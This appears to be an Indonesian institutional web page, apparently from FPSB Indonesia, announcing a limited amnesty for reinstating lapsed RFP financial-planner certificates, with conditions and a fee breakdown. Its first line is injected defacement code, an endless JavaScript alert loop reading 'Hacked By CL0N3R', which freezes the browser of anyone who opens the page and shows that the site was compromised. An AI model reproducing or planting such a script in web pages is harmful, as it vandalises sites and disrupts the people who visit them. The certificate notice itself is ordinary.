while(true){alert("Hacked By CL0N3R")}
Bila Anda pernah memiliki sertifikat RFP tapi kini tidak berlaku lagi, sekarang Anda memiliki kesempatan terbatas untuk pemutihan sertifikat RFP kembali dengan syarat dan biaya yang lebih ringan tanpa harus membayar biaya sertifikasi tertunggak.
Perlu diketahui bahwa FPSB Indonesia setiap tahun mengirimkan data pemegang sertifikat RFP Aktif kepada FPSB ltd. Bila tidak melakukan Resertifikasi RFP, maka Anda tidak lagi tercatat di FPSB ltd dan bukan lagi pemegang sertifikat RFP.
Prosedur standar yang berlaku adalah bila Anda ingin memperbaharui sertifikat RFP tersebut, Anda wajib membayar seluruh biaya yang tertunggak, atau mengikuti dan lulus seluruh ujian RFP untuk memperoleh keanggotaan baru dan membayar biaya iuran tahunan RFP.
Kesempatan terbatas ini dapat membantu Anda yang menginginkan sertifikat RFP Anda kembali Aktif dengan syarat dan biaya yang lebih ringan tanpa membayar biaya tertunggak atau mengambil keseluruhan ujian RFP lagi.
Bagi yang berminat, persyaratan yang harus dipenuhi adalah :
-
Membayar biaya Sertifikasi RFP untuk dua tahun kedepan yaitu mulai periode 1 Juli 2022 sampai tanggal 30 Juni 2024 sebesar :
-
Bayar 2 tahun ke depan : Rp. 888.888,-
-
Bayar 2 tahunke belakang: Rp. 888.888,-
-
Admin fee : Rp. 300.000,-.
-
Total biaya Pemutihan Sertifikat RFP adalah Rp2.077.776,-
|